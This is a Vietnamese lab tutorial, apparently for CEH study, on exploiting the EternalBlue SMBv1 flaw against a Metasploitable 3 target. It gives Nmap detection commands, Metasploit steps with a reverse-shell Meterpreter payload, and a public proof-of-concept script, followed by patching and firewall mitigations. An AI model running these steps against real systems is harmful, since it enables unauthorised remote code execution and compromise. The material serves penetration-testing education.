CEH v13 _khai thac vuln eternalblue cua metasploitable 3 trên commando

 

Hướng Dẫn Khai Thác Lỗ Hổng EternalBlue (CVE-2017-0144)


1. Lỗ Hổng EternalBlue Là Gì?

EternalBlue là một lỗ hổng nghiêm trọng được phát hiện trong giao thức SMBv1 (Server Message Block) trên các phiên bản Windows. Lỗ hổng này cho phép kẻ tấn công thực hiện Remote Code Execution (RCE) trên hệ thống mà không cần thông tin đăng nhập.

CVE Liên Quan:

  • CVE-2017-0144: Lỗ hổng RCE trong SMBv1.
  • EternalBlue là nền tảng của các cuộc tấn công nổi tiếng như WannaCryNotPetya.

Hệ Thống Bị Ảnh Hưởng:

  • Windows XP, Windows 7, Windows Server 2003, Windows Server 2008, và các hệ điều hành chưa được vá lỗi SMBv1.

2. Điều Kiện Khai Thác

  1. Hệ thống mục tiêu:
    • Sử dụng giao thức SMBv1.
    • Chưa được vá lỗi MS17-010 (Bản vá từ Microsoft).
  2. Công cụ cần thiết:
    • Kali Linux hoặc bất kỳ hệ điều hành hỗ trợ Metasploit.
    • Kết nối mạng giữa hệ thống của bạn và mục tiêu.

3. Quy Trình Khai Thác EternalBlue

3.1. Thu Thập Thông Tin

  1. Quét mạng và cổng SMB:

    • Dùng Nmap để kiểm tra cổng 445 (SMB):
      nmap -p 445 --script smb-protocols 
      
    • Kết quả sẽ cho biết giao thức SMB nào đang chạy (SMBv1, SMBv2...).
  2. Kiểm tra lỗ hổng EternalBlue:

    • Sử dụng script Nmap:
      nmap --script smb-vuln-ms17-010 -p 445 
      
    • Nếu lỗ hổng tồn tại, script sẽ hiển thị thông tin chi tiết.

3.2. Khai Thác Lỗ Hổng Với Metasploit

  1. Khởi chạy Metasploit:

    msfconsole
    
  2. Tìm module EternalBlue:

    search eternalblue
    
  3. Chọn module khai thác:

    • Sử dụng module exploit/windows/smb/ms17_010_eternalblue:
      use exploit/windows/smb/ms17_010_eternalblue
      
  4. Cấu hình các tham số:

    • Cài đặt địa chỉ IP mục tiêu:
      set RHOST 
      
    • Chọn payload phù hợp (ví dụ, Meterpreter):
      set payload windows/x64/meterpreter/reverse_tcp
      set LHOST 
      set LPORT 
      
  5. Chạy khai thác:

    • Kiểm tra thông tin cấu hình:
      show options
      
    • Thực hiện khai thác:
      exploit
      
  6. Kết quả:

    • Nếu thành công, bạn sẽ có quyền truy cập Meterpreter trên hệ thống mục tiêu.

3.3. Khai Thác Bằng Exploit Độc Lập

  1. Tải và sử dụng script PoC:
    • Tìm các PoC EternalBlue trên GitHub:
      git clone https://github.com/worawit/MS17-010.git
      cd MS17-010
      
    • Sử dụng Python để chạy script:
      python3 zzz_exploit.py 
      

4. Hậu Quả Khi Bị Khai Thác

  1. Remote Code Execution:
    • Kẻ tấn công có thể thực thi mã từ xa và cài phần mềm độc hại.
  2. Lây nhiễm phần mềm tống tiền:
    • WannaCry đã sử dụng EternalBlue để mã hóa dữ liệu và yêu cầu tiền chuộc.
  3. Làm gián đoạn dịch vụ:
    • Hệ thống mục tiêu có thể bị tấn công DoS.

5. Phòng Chống EternalBlue

1. Cài Đặt Bản Vá

  • Cài đặt bản vá MS17-010 từ Microsoft để khắc phục lỗ hổng.

2. Vô Hiệu Hóa SMBv1

  • Mở PowerShell với quyền admin và chạy:
    Set-SmbServerConfiguration -EnableSMB1Protocol $false
    

3. Cấu Hình Tường Lửa

  • Chặn cổng 445 từ các kết nối bên ngoài:
    • Trên Windows:
      New-NetFirewallRule -DisplayName "Block SMB" -Direction Inbound -LocalPort 445 -Protocol TCP -Action Block
      

4. Kiểm Tra Định Kỳ

  • Sử dụng các công cụ như Qualys, Nessus, hoặc OpenVAS để quét lỗ hổng.

6. Lưu Ý Quan Trọng

  1. Sử dụng hợp pháp:
    • Chỉ thực hiện khai thác trên hệ thống bạn được phép.
  2. Rủi ro khai thác:
    • Khai thác lỗ hổng có thể làm gián đoạn dịch vụ, dẫn đến mất dữ liệu.
  3. Đánh giá bảo mật liên tục:
    • Thực hiện pentesting định kỳ để bảo vệ hệ thống.

7. Kết Luận

Lỗ hổng EternalBlue (CVE-2017-0144) đã gây ảnh hưởng lớn trên toàn cầu và là một trong những lỗ hổng SMB nghiêm trọng nhất. Bằng cách sử dụng các công cụ như Nmap, Metasploit, và script PoC, bạn có thể kiểm tra và khai thác lỗ hổng trong môi trường Pentest. Tuy nhiên, hãy luôn đảm bảo sử dụng hợp pháp và áp dụng các biện pháp phòng chống để bảo vệ hệ thống của bạn khỏi các cuộc tấn công thực tế.

Bài viết cùng danh mục